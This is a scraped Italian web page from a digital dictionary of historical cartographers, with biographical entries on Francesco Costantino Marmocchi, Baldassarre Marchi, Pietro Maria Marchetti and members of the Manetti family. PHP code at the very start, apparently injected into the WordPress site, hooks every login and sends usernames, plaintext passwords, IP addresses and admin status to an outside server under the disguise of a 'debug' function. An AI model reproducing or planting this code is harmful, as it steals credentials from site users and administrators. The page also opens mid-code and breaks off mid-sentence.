'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>M | Digital DISCI | Pagina 27

Archivi tag: M

Marmocchi, Francesco Costantino

Francesco Costantino Marmocchi
N. Poggibonsi 1805
M. Genova 1858

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Fu un uomo del Risorgimento, di impegno politico attivo come democratico-radicale e mazziniano, coinvolto nei moti del 1831 e ministro dell’Interno nel breve governo rivoluzionario toscano del Guerrazzi del 1848-49 (Pesendorfer, a cura di, 1987, pp. 365 e 382). Col ritorno del granduca Leopoldo II fu obbligato all’esilio nel Regno di Sardegna dove rimase fino alla morte prematura.
Geografo, ma anche instancabile e prolifico poligrafo, fu fondatore e direttore o costante collaboratore di riviste e quotidiani toscani di ispirazione democratica e socialista, fortemente impegnati sui più scottanti problemi politici e sociali e in dura polemica con gli indirizzi conservatori o moderati del governo lorenese, come “L’Alba”, “Il Popolano” e “Il Sabatino”.
E’ interessante rilevare come al biennio rosso ante litteram del 1848-49 va riferito il Corso di geografia toscana compìto in XV lezioni del quale però – per gli eventi politici traumatici che ne seguirono – poterono vedere la vita solo il piano generale dell’opera e il primo fascicolo.
Il Corso aveva per Marmocchi un chiaro intento pedagogico – far conoscere ai cittadini la piccola patria toscana, secondo il progetto scientifico-culturale avviato negli anni ’20 dal gruppo degli intellettuali gravitanti intorno al promotore di cultura Giovan Pietro Vieusseux, fra i quali Emanuele Repetti, Giovanni Inghirami e Attilio Zuccagni Orlandini – ma si segnala per la serietà e l’organicità scientifica dell’impianto.
Partendo dalla premessa che “lo studio di un paese, perché riesca ad un tempo facile e fruttuoso, bisogna che proceda dalle parti inorganiche alle organizzate: dalla terra, dalle acque e dall’aria, alle piante, agli animali e all’uomo”, Marmocchi ignorava la geografia regionale descrittiva dei singoli paesi per affrontare la geografia generale, con l’articolare l’opera in quattro parti: “geografia fisica” (con le componenti orografia e idrografia, geologia e mineralogia, clima, vegetazione e animali spontaneamente viventi in Toscana, che non vengono mai presentate a se stanti, ma sempre in stretta relazione con la vita e i bisogni dell’uomo), “geografia politica” (divisioni amministrative e organi istituzionale dello Stato, popolazione e suo andamento nel tempo, sua distribuzione territoriale e sua articolazione professionale nei diversi settori dell’agricoltura, delle manifatture e opere pubbliche, dei porti e del commercio, infine produzioni economiche e situazione finanziaria, il tutto con il ricorso frequente alla comparazione con realtà toscane del passato e con quelle presenti in altri Stati italiani e stranieri), “corografia e topografia toscana” (suddivisione del Granducato in dieci “regioni naturali”, le valli, secondo la tradizione inaugurata da Giovanni Targioni Tozzetti e ripresa da Attilio Zuccagni Orlandini) e “geografia storica della Toscana antica, del medio evo e moderna” (evidenziazione non solo erudita dei resti archeologici e dei monumenti storici ma anche delle eredità del passato inscritte nel territorio presente, dalle città alle campagne e alle vie di comunicazione).
Marmocchi fu mente vasta di geografo ed erudito, il quale non tanto nei suoi lavori di sintesi e compilazione, quali gli altri testi scolastici e di divulgazione popolare su temi di geografia universale, quanto invece nel Prodromo della storia naturale generale e comparata d’Italia del 1844, mostra di anticipare talune correnti della geografia contemporanea (per l’aver saldamente posto l’uomo al centro della trattazione del mondo fisico-ambientale); e forse anche per questo riuscì a suscitare un largo interesse nel pubblico. Il Prodromo godette infatti di un autentico successo popolare, tanto che Marmocchi fu stimolato a dar vita ad iniziative per quei tempi ardite e non ripetute, come la grande Raccolta dei viaggi dalla scoperta del Nuovo Continente sino ai dì nostri del 1845.
Quasi tutte le ponderose compilazioni marmocchiane – anche il progetto del Corso toscano – sono corredate da atlanti costituiti da raccolte di carte geografiche ordinarie (rappresentazioni generali e corografiche), per lo più a piccola scala e non aventi necessariamente caratteri di originalità, oltre che da carte tematiche: queste ultime si allargano un po’ a tutte le categorie che compongono oggi l’ampio ventaglio della cartografia speciale (carte idrografiche, orografiche, mineralogiche, itinerarie, amministrative) costruite con cura dall’autore spesso con il supporto di ampie note e spiegazioni. Anche per queste caratteristiche il geografo Marmocchi interessa – assai più di tanti altri geografi italiani del XIX secolo – la storia della cartografia.
La cartografia di Marmocchi è costituita dai tre atlanti, a solo il primo è originale, precisamente:
L’Atlante di geografia universale per servire al Corso di geografia universale in 48 tavole del 1840, che si presenta “come un repertorio iconografico piuttosto sui generis in quanto in luogo delle consuete tavole raffiguranti i vari paesi (o parte di essi) vi si trovano soprattutto profili orografici, distribuzione di vulcani attivi, tavole di geografia astronomica ecc.: insomma tutto quanto potesse illustrare al meglio i caratteri fisici della Terra. L’atlante, preceduto da un dizionario dei termini geografici e corredato da quadri statistici relativi alle varie suddivisioni politiche del globo, segue fedelmente la ripartizione del Corso in Cosmografia (tavv. I-XVII), Geografia fisica (tavv. XVIIIa-XXIII), Storia della geografia dai tempi biblici ed omerici infino alla scoperta del Nuovo Continente (tavv. XXIVa-XXXII) e Geografia statistica (tavv. XXXIII-LVIII)”, con l’ultima tavola che – in evidente omaggio alla Patria – costituisce la carta geometrica della Toscana (Marrucci, 1992, pp. 98-99).
Le altre raccolte grafiche furono pubblicate postume, con recupero delle tavole originali e con l’aggiunta di nuove rappresentazioni. E’ il caso dell’opera del 1858 – Il Globo. Atlante di carte geografiche compilate da F.C. Marmocchi per servire di corredo al suo Corso di Geografia commerciale – costituita da 50 tavole incise da Giuseppe Cattaneo, Campo Antico, Cesare Poggiali, G. Bonatti e G. Magrini, con numerose didascalie e decorazioni; e della più corposa compilazione del Magrini del 1864 (di ben 83 tavole), intitolata Atlante geografico universale. Cioè cosmografico, fisico, storico e politico-statistico compilato colla scorta delle migliori e più recenti opere storiche e cosmografiche composto di 83 Carte incise in rame da valenti Artisti, e diligentemente miniate per cura del Professore.
Tra le due raccolte, quella del 1858 si segnala non solo per la chiarezza delle rappresentazioni generali e regionali ma anche per certi tematismi aggiornati, come ad esempio la distribuzione geografica delle colonie europee, le linee di navigazione, le vie ferrate e postali, la distribuzione geografica delle piante coltivate che forniscono i principali mezzi di nutrimento, ecc. (Barsanti, 1992, pp. 91-92).

Produzione scientifica:
Corso di geografia universale, Firenze, Batelli, 1840-1843, 6 voll.;
Prodromo della storia naturale generale e comparata d’Italia, Firenze, Poligrafico Italiano, 1844;
Raccolta dei viaggi dalla scoperta del Nuovo Continente sino ai dì nostri, Prato, Giachetti, 1840-45, 18 voll.;
Corso di geografia toscana compìto in XV lezioni, Prato, Giachetti, 1847;
Dizionario di geografia universale, Torino, Società Editrice, 1854-1862, 2 voll.;

Produzione di cartografia manoscritta:
Atlante di geografia universale per servire al Corso di geografia universale, Firenze, Batelli, 1840;
Il Globo. Atlante di carte geografiche compilate da F.C. Marmocchi per servire di corredo al suo Corso di Geografia commerciale, Genova, Paolo Rivara del fu Giacomo Editore, 1858;
Atlante geografico universale. Cioè cosmografico, fisico, storico e politico-statistico compilato colla scorta delle migliori e più recenti opere storiche e cosmografiche composto di 83 Carte incise in rame da valenti Artisti, e diligentemente miniate per cura del Professore, Torino, Tipografia Scolastica di Seb. Franco e Figli, 1864 (opera curata da Martini G.).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Mori, 1949, vol. XXII, p. 379; Rombai, 1990, pp. 168-170; Barsanti, 1992, pp. 91-92; Pesendorfer, a cura di, 1987, pp. 365 e 382.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai

Marchi, Baldassarre

Baldassarre Marchi
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere

Biografia:
L’ingegnere livornese Marchi partecipò alle operazioni del catasto geometrico del 1817-32 (nel 1823 si ritenne ingiustamente “perseguitato” dall’ispettore Belli che soprintendeva ai lavori nel Senese) (Rombai, 1989, p. 79), e divenne presto uno dei principali collaboratori del Manetti sia nel Corpo degli Ingegneri di Acque e Strade (1825) e sia nell’Ufficio di Bonificamento delle Maremme (1828).
Molte delle figure cartografiche e di livellazione eseguite nei grandi comprensori di bonifica anche extramaremmani sotto la direzione del Manetti sono firmati o attribuibili da Baldassarre Marchi: ad esempio, i Rilievi di campagna dell’ingegner Marchi (quindici tavole di livellazione dai laghi di Fucecchio e Bientina fino al mare di Viareggio e Livorno, con disegni della Botte sotto l’Arno, “con progetti per l’essiccazione del Lago di Bientina” (AAADF, Fondo Manetti, Cat. E.6); la Mappa generale del Lago di Bientina in scala 1:15.000 in dieci fogli con quadro d’unione, “rilevata in campagna dall’ingegner B. Marchi nell’anno 1841” (AAADF, Fondo Manetti, Cat. E.7); e la Mappa delle pianure lucchese e pisana rilevata nel 1841 dall’ingegner Marchi ed “eseguita nell’I. e R. Laboratorio”, in scala 1:40.000 e in nove fogli (AAADF, Fondo Manetti, Cat. E.8: Bencivenni, 1984, p. 79-80; e Bencivenni, 1990, p. 445).
Nei primi anni ’40 fu tra l’altro autore del progetto della Strada Ferrata Carbonifera, linea a scartamento normale della lunghezza di oltre 26 km, costruita nel 1849 – per conto della Società Anonima per la Ferrovia di Montebamboli – per condurre allo scalo costiero detto allora di Carbonifera, nel golfo di Follonica, la lignite estratta nelle miniere di Montebamboli ubicate nelle colline di Massa Marittima tra i fiumi Cornia e Pecora (in ASF, Piante del Ministero delle Finanze, n. 61). Lo stesso Marchi nel 1845 elaborò il progetto di proseguimento della ferrovia fino al Piano dei Mucini nei pressi di Massa Marittima (in ASF, Piante del Ministero delle Finanze, nn. 90-94 e 182) ma il commissario regio dei lavori alle strade ferrate, architetto Carlo Reishammer, genero del Manetti, non lo approvò perché il tracciato presentava pendenze ritenute troppo forti (Riparbelli, 1989, pp. 116-117).
Sempre nell’area di Montebamboli, nel 1849 Marchi disegnò quattro planimetrie con la localizzazione di tutti i pozzi della miniera di lignite (in ASF, Piante del Ministero delle Finanze, nn. 90-94) (Rombai e Vivoli, 1996, p. 159).
Nel marzo 1858 redasse una pianta generale e due mappe parziali con quattro profili longitudinali della città di Siena funzionali al progetto di sventramento urbano per realizzare il nuovo edificio doganale e una nuova via principale ed altra secondaria dalla strada Romana in località Chiasso Largo per il convento di San Donato (con ritorno poi alla Romana alle Cappuccine), per evitare la Croce del Travaglio (in ASF, Miscellanea di Piante, n. 290.a-g).

Produzione scientifica:

Produzione di cartografia manoscritta:
Piante e profili con progetto della Strada Ferrata Carbonifera da Montebamboli al golfo di Follonica, inizio degli anni ’40 del XIX secolo (ASF, Piante del Ministero delle Finanze, n. 61);
Piante e profili con progetto di proseguimento della Ferrovia Carbonifera da Montebamboli fino al Piano dei Mucini nei pressi di Massa Marittima, 1845 (ASF, Piante del Ministero delle Finanze, nn. 90-94 e 182);
Rilievi di campagna dell’ingegner Marchi (quindici tavole di livellazione dai laghi di Fucecchio e Bientina fino al mare di Viareggio e Livorno, con disegni della Botte sotto l’Arno, “con progetti per l’essiccazione del Lago di Bientina” (AAADF, Fondo Manetti, Cat. E.6);
Mappa generale del Lago di Bientina in scala 1:15.000 in dieci fogli con quadro d’unione, “rilevata in campagna dall’ingegner B. Marchi nell’anno 1841” (AAADF, Fondo Manetti, Cat. E.7);
Mappa delle pianure lucchese e pisana rilevata nel 1841 dall’ingegner Marchi ed “eseguita nell’I. e R. Laboratorio”, in scala 1:40.000 e in nove fogli (AAADF, Fondo Manetti, Cat. E.8;
Planimetrie dell’area di Montebamboli con i pozzi della miniera lignitifera, 1849 (ASF, Piante del Ministero delle Finanze, nn. 90-94);
Pianta della Città di Siena, 1858 (ASF, Miscellanea di Piante, n. 290.a);
Mappa topografica esprimente una frazione della Città di Siena..., 1858 (ASF, Miscellanea di Piante, n. 290.b);
Particolare planimetrico della Città di Siena con progetto della nuova via, 1858 (ASF, Miscellanea di Piante, n. 290.f).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Giuntini, 1991, pp. 136-144; Rombai, Toccafondi e Vivoli, 1987, pp. 248-250; Rombai, 1989, p. 79; Bencivenni, 1984, p. 79-80; Bencivenni, 1990, p. 445; Riparbelli, 1989, pp. 116-117; Rombai e Vivoli, 1996, p. 159; ASF, Miscellanea di Piante; ASF, Piante del Ministero delle Finanze; AAADF, Fondo Manetti.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai

Marchetti, Pietro Maria

Pietro Maria Marchetti
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: stampatore

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
[Carta del Friuli secondo il modello orteliano «Fori Iulii, vulgo Friuli typus »],in Il Teatro del mondo di Abraamo Ortelio nel quale distintamente si dimostrano in tavole tutte le prouincie, regni et paesi del mondo…, Pietro Marchetti, Brescia, 1598

Il Teatro del mondo di Abraamo Ortelio nel quale distintamente si dimostrano in tavole tutte le prouincie, regni et paesi del mondo, Brescia, 1598

Fonti d’archivio:

Bibliografia:
LAGO L., Imago Italiae, la fabbrica dell’Italia nella storia della cartografia tra Medioevo ed Età Moderna, edizioni EUT, Trieste, 2002

Rimandi ad altre schede:

Autore della scheda: Anonimo

Manetti, Giuseppe

Giuseppe Manetti
N. Firenze 16 novembre 1762
M. 12 febbraio 1817

Relazioni di parentela: Padre del più conosciuto Alessandro

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:
Piante di nuove case rurali per la Valdichiana, 1793 (ASF, Miscellanea di piante, n. 72);
Quattro piante di appezzamenti di terreno di proprietà della chiesa di S. Cristina a Monte Firidolfi, con Stefano Diletti, 1804 (ASF, Miscellanea di piante, nn. 600-604);
Disegni con ipotesi per la costruzione di un “giardino moderno” annesso alla villa di Poggio Imperiale, 1810 (GDSU, 6297A, 6298);
Disegni e vedute di monumenti e scorci urbani italiani, di giardini e parchi fiorentini, fine del XVIII secolo-inizio del XIX secolo (AAADF, cart. Composizioni dell’Architetto Giuseppe Manetti);
Piante del parco, di viali e del ponte in ferro sull’Ombrone (AMFCE, Relazione e piante di progetto di un nuovo ponte da costruirsi sull’Ombrone a Poggio a Caiano, anno 1812);
Progetto per l’allargamento della via fra Porta S. Giusto e il Corso ad Arezzo, 1812 (ASA, Piante sciolte del Comune 26).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Riferimenti bibliografici e archivistici

Cresti, 1984; Zangheri, 1984, pp. 15-20 e 38-45; Bencivenni, 1984, pp. 82-83; Orefice, 2002; Orefice, 2005; Zangheri, 1996, pp. 21, 45, 153,160,161,163 e175; ASF, Scrittoio delle Regie Possessioni; ASF, Miscellanea di piante; ASF, Segreteria di Gabinetto; ASF, Scrittoio delle Fortezze e Fabbriche. Fabbriche Lorenesi; ASF, Carte Serristori; GDSU; AAADF; AMFCE; ASA, Piante sciolte del Comune.

Rimandi ad altre schede:

Autore della scheda: Gabriella Orefice

Manetti, Gaspero

Gaspero Manetti
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Fiorentino, fu archivista nell'Ufficio della Conservazione del Catasto, e quindi facente parte della burocrazia amministrativa dello Stato granducale.
Grazie a questa funzione, dopo il successo arriso alla stampa della “piccola carta” della Toscana di Girolamo Segato, il 14 dicembre 1832 ottenne dal governo lorenese di poter anch’egli pubblicare, in veste di privato editore, due rappresentazioni tematiche derivate dal modello geometrico di Giovanni Inghirami, pur se con maggiore riduzione e con più specifica caratterizzazione contenutistica sui temi al centro dell’interesse rispetto a quella del Segato.
Per procurarsi le consuete sottoscrizioni stampò un Manifesto illustrativo del prodotto nel “Giornale Agrario Toscano” del 1833 (vol. VII, pp. 115-116).
Ne scaturì, nel 1833, la policromatica Carta Geometrica delle Strade e Corsi d'Acqua principali compresi nel Granducato di Toscana sulla proporzione di 1 al 510.000 (in BNCF, Nuove Accessioni, VII, 2): si tratta di un esempio di rappresentazione elaborata per mettere a fuoco l’assetto gerarchico e funzionale della rete viaria con la componente idrografica che la interseca.
Nel 1834 seguì, sempre con utilizzazione della stessa base, la Carta geometrica del granducato di Toscana divisa per circondari comunitativi da Gaspero Manetti sulla proporzione di 1 al 510.000 (in ASF, Miscellanea di Piante, n. 256b), poi ripubblicata con aggiornamenti anche riguardo alle vie di comunicazione ferroviarie in costruzione nel 1846.
Come già enunciato, questi due ottimi lavori a stampa, entrambi colorati, furono ricavati dalla carta dell'Inghirami con aggiornamenti ed integrazioni, e per la prima volta contengono la precisa e completa delineazione, mediante specifiche campiture cromatiche e altri simboli, rispettivamente della maglia comunale ed altre suddivisioni amministrative del Granducato, e della rete stradale (con evidenziazione delle vie regie, provinciali e comunali e delle stazioni di posta), con le componenti insediative (con distinzione delle città maggiori dai centri urbani minori e di tutti i capoluoghi comunali sedi o meno di cancelliere o di ingegnere di Acque e Strade): vale a dire, quei contenuti topografici che era necessario far conoscere agli Ingegneri di Acque e Strade e agli altri rappresentanti amministrativi del governo statale distribuiti sul territorio. E non è un caso se copie delle due rappresentazioni vennero subito distribuite dal governo ai funzionari statali, per i quali sembra di poter dire le due edizioni vennero specificamente effettuate.
Manetti pubblicò nel 1837 anche la Carta Geometrica della Lunigiana Granducale e sue adiacenze... (in ASP, Camera di Soprintendenza Comunitativa, f. 621), rappresentazione con la suddivisione dei circondari comunitativi, finalizzata ad un progetto di miglioramenti viari (Rombai, 1989, pp. 120-121; Rombai, Toccafondi e Vivoli, 1987, p. 182; Caciagli e Castiglia, 2001, pp. 106 e 541).

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
Carta Geometrica delle Strade e Corsi d'Acqua principali compresi nel Granducato di Toscana sulla proporzione di 1 al 510.000, 1833 (BNCF, Nuove Accessioni, VII, 2);
Carta geometrica del granducato di Toscana divisa per circondari comunitativi da Gaspero Manetti sulla proporzione di 1 al 510.000, 1834 (ASF, Miscellanea di Piante, n. 256b);
Carta Geometrica della Lunigiana Granducale e sue adiacenze..., 1837 (ASP, Camera di Soprintendenza Comunitativa, f. 621).

Fonti d’archivio:

Bibliografia:
Riferimenti bibliografici e archivistici

Rombai, 1989, pp. 120-121; Rombai, Toccafondi e Vivoli, 1987, p. 182; Rombai e Torchia, 1994, p. 143; Caciagli e Castiglia, 2001, pp. 106 e 541; Manifesto illustrativo della carta di Gaspero Manetti in “Giornale Agrario Toscano”, VII (1833), pp. 115-116; BNCF, Nuove Accessioni; ASF, Miscellanea di Piante; ASP, Camera di Soprintendenza Comunitativa.

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai

Manetti, Alessandro

Alessandro Manetti
N. Firenze 1 febbraio 1787
M. Firenze 9 dicembre 1865

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere e architetto granducale, fu il principale artefice tecnico della pianificazione territoriale (bonifiche e sistemazioni fluviali, realizzazioni stradali e urbanistiche, ecc.) dell'età della Restaurazione

Biografia:
contenente una valutazione storico-economica-giuridica sulle conseguenze sociali del prosciugamento del Lago di Bientina. I lavori al canale e alla botte vennero ultimati nel 1859, anche se l’inaugurazione della grande opera avverrà dopo la caduta del Granducato, nel 1863, con la direzione del vecchio assistente Renard (Caciagli, 1984, pp. 85-101; e Barsanti, 1994, pp. 252-254).
Nel 1849, ispezionò i lavori della strada Lodovica lungo il Serchio nell’ex Ducato di Lucca e i cosiddetti Bottacci Lucchesi o recinti di depurazione utilizzati dagli ingegneri di Lucca per impedire alle torbide fluviali di insabbiare l’Ozzeri e gli altri canali emissari del Lago di Bientina, con tanto di redazione, per il ministro Giovanni Baldasseroni, della memoria Sui cosiddetti Bottacci Lucchesi che ha in allegato la Carta topografica del territorio lucchese tra il Serchio e il Lago di Bientina, che vale a localizzare tali recinti (AAADF, Fondo Manetti, Cat. F.2, ins. 8).
Dal 1850 al 1859 ricoprì ruoli di primo piano nella nuova istituzione della Direzione Generale dei Lavori d'Acque e Strade e delle Fabbriche Civili dello Stato: fu Direttore Generale, Direttore delle opere preordinate alla sistemazione delle acque di Valdichiana e Direttore dell'Uffizio per il Bonificamento delle Maremme per la parte idraulica (Cresti e Zangheri, 1978, pp. 134-135; e Di Pietro, 2005, pp. 153-154).
Una volta avuto competenze anche sulle Fabbriche Civili dette il via ad un nutrito programma di restauro di strutture monumentali (ad esempio, a Firenze, Orsanmichele, le Murate, il Bargello, Porta San Gallo, ecc.).
Nel 1852-53, sovrintese ai lavori di ampliamento del porto di Livorno, dopo che tra gli anni ’30 e ’40, come enunciato, aveva progettato ed eseguito l’ingrandimento della città di Livorno con la nuova cinta daziaria dotata di barriere, porte e dogane.
Contemporaneamente, si occupò anche di ferrovie e specialmente della transappenninica tra Firenze e Bologna via Pistoia e la Porretta a cui intese – come rappresentante toscano nella specifica commissione che comprendeva anche gli Stati Pontificio e di Modena e l’Austria – tra il 1851 e il 1859. Disegnò anche profili e planimetrie relativi ai tracciati della ferrovia Porrettana: tra le figure spicca la Strada ferrata dell’Italia Centrale. Sezione II. Tronco Toscano: 1853 – Profilo longitudinale dell’Appennino dal Fosso Faldo al Fossaccio per dimostrare l’andamento della linea ferrata, l’avanzamento dell’escavazione dei pozzi e gallerie e le qualità dei terreni componenti la Montagna in traforo (AAADF, Fondo Manetti, Cat. F.4) (Bencivenni, 1984, p. 101).
Con l’improvvisa caduta del Granducato (27 aprile 1859), Manetti – che aveva sempre operato in osmosi tecnico-politica con l’ultimo sovrano ed amico Leopoldo II – venne pressoché immediatamente (decreto del 18 maggio) destituito da tutte le cariche dal Governo Provvisorio di Bettino Ricasoli. Rimasto “libero come l’aria”, si dedicò a tempo pieno alla stesura delle sue memorie che, con il titolo di Mio passatempo, sarebbero state pubblicate con curatela dell’antico allievo e collaboratore, ingegnere architetto Felice Francolini, solo a venti anni dalla morte, nel 1885 (Barsanti, 1994, pp. 252-254 e Di Pietro, 2005, p. 176).
A quanto è dato sapere, soltanto nel 1864 Manetti fu invitato dal Comune di Firenze a tornare a impegni professionali con il far parte “della Commissione Municipale incaricata di ispezionare l’Arno dentro Firenze per proporre provvedimenti contro le alluvioni”, ma il Nostro non raccolse l’invito adducendo seri – e senz’altro motivati – problemi di salute (AAADF, Fondo Manetti, Cat. F.1, ins. 31) (Bencivenni, 1984, p. 92).
“La figura di ingegnere offerta dal Manetti acquista ulteriore spessore e profondità se si pensa al fatto che egli non si limitò a gestire la grande esperienza e la cultura tecnico-scientifica acquisita negli anni della ricordata formazione parigina. Infatti egli concepì sempre la propria professione di tecnico al servizio dello stato come di una missione per il cui assolvimento ogni nuovo apporto e ogni ampliamento delle proprie conoscenze erano indispensabili linfa vitale. Da qui l’importanza dei numerosi viaggi effettuati nel corso della sua vita e al termine dei quali minuziose relazioni, accompagnate spesso da rapidi, ma efficacissimi schizzi [di opere territoriali di ordine idraulico, stradale e ferroviario e di macchinari anche applicabili all’industria mineraria e manifatturiera], mostravano una fame di conoscenze tecniche e di interessi mai sopiti neppure negli ultimi anni della sua vita” (Bencivenni, 1990, pp. 434-436).
Nunerosi sono infatti i resoconti – di regola trasmessi al Segretario di Finanze Francesco Cempini, ma anche ai granduchi – dei viaggi d’istruzione effettuati dal Manetti nell’Arcipelago Toscano (Notizie sull’Elba ed altre Isole dell’Arcipelago del 1833) (AAADF, Fondo Manetti, Cat. F.1, ins. 11), nell’Italia settentrionale ed Europa. Trattasi di Notizie prese in Lombardia sulla coltivazione del riso del giugno 1818 (con pianta e profilo di una risaia nell’azienda Critulzi presso Locate), e Appunti presi sul Naviglio che da Milano va a Pavia (con schizzi dell’idrovia e dei suoi sostegni), memorie indirizzate al granduca Ferdinando III; Ricordi sulle Saline del Tirolo, Baviera ed Austria del 1828 (con schizzi di fabbriche e macchinari); Rendiconto a S. A. I. e R. il Granduca di Toscana sugli studi e le osservazioni effettuati durante il viaggio in Francia nell’agosto-settembre 1830 (con 12 tavole di disegni di strade e ponti, canali e chiuse, pozzi artesiani) (AAADF, Fondo Manetti, Cat. F.9); Notizie sulle strade dello Spluga e dello Stelvio (AAADF, Fondo Manetti, Cat. F.1, inss. 5-6, 8 e 24 rispettivamente); Viaggio in Austria e in Sassonia nell’autunno 1839 (AAADF, Fondo Manetti, Cat. F.2, ins. 6); Escursione in Olanda nell’autunno 1844 (con mappe e disegni in tema di bonifiche e canali) (AAADF, Fondo Manetti, Cat. F.10); Rapporto della perlustrazione eseguita nell’ottobre 1845 ad alcuni lavori di pubbliche costruzioni nella Provenza e nella Linguadoca (con mappe e disegni di opere di bonifica e canali) (AAADF, Fondo Manetti, Cat. F.14) (Bencivenni, 1984, pp. 89-91, 100, 103 e 106).
Nei comprensori delle grandi bonifiche in corso di esecuzione (specialmente Valdichiana, Maremma e Bientina), Manetti curò in modo minuzioso la conoscenza geografica e cartografica del territorio dove si doveva operare o si stava operando, come dimostrano le cartografie topografiche e i profili di livellazione redatti sotto la sua direzione (non pochi disegni sono firmati dai suoi principali collaboratori Francesco Renard e Baldassarre Marchi: ad esempio, la livellazione della Chiana, dell’Arno e della Sieve di Renard del 1848, in D.10; la livellazione dei laghi di Bientina e Massaciuccoli fino al mare e al lago di Fucecchio di Marchi del 1841, in E.6) (Bencivenni, 1990, p. 445).
Una produzione immensa, quella cartografica del Manetti, che negli ultimi anni della sua vita egli aveva elencato in un Indice della collezione di carte relative alla Chiana alla Maremma ed a Bientina (Bencivenni, 1984, p. 59). Solo nell’Archivio Lorena di Praga (SUAP, RAT) “vi sono ancora centinaia di documenti appartenenti al Manetti” di tipo cartografico, del genere: Carta della dislocazione degli ispettori, sotto ispettori, ingegneri e aiuti-ingegneri dipendenti dai compartimenti di Firenze, Pisa, Siena, Arezzo e Grosseto, 1848; Carta geografica di parte del Granducato di Toscana e dello Stato della Chiesa, delineata specialmente per lume e regola dei progetti riguardanti la strada di commercio per unire i due mari, 1830 circa; Progetto della strada di ferro da Livorno a Firenze, fine anni ’30 del XIX secolo; e Pianta geometrica della città di Livorno e progetto artistico della sua sistemazione generale, 1849 (Zangheri, 1984, p. 30).
Particolarmente significativa la serie in stampa litografica dell'Imperiale e Reale Laboratorio di Cartografia costituito da Leopoldo II, prodotta dal 1828 al 1859 Padule di Castiglione della Pescaia, con le diverse figure che vengono comparate per mettere a fuoco i risultati della bonifica ottenuti in 25-30 anni di lavori.
Nutrito il corpo cartografico relativo alla Valdichiana, a comprendere: la già ricordata Carte de la vallée de la Chiana située entre l’Arno et le Tibre, stampata nel 1819; le due figure della pianura di Val di Chiana, ovvero la Mappa idraulica con i lavori di bonifica in corso nel 1823 e la Livellazione generale delle Chiane eseguita per la prima volta negli anni 1820 e 1821 con la Veduta di una colmata composta di due recenti (edite, con l’incisione di Stanislao Stucchi, nel volume Carte idrauliche dello stato antico e moderno della Valle di Chiana e livellazione generale dei canali maestri della medesima con un saggio sulla storia del suo bonificamento e sul metodo con cui si eseguiscono le colmate del 1823, insieme con la riproduzione semplificata della carta di Antonio Ricasoli del 1551, utilizzata per un confronto con il presente); la Carta che dimostra il corso della Chiana fra il Tevere e l'Arno, in Sulla stabile sistemazione delle acque di Val di Chiana (Firenze, Bencini, 1840) che, rispetto alla rappresentazione del 1823, offre un maggior dettaglio riguardo agli affluenti di sinistra della Chiana; la carta Corso dell’Arno e dei suoi influenti allegata al Profilo di livellazione della Chiana e dell’Arno dall’argine di separazione presso Chiusi sino al mare e della Sieve da San Piero a Sieve sino al suo sbocco in 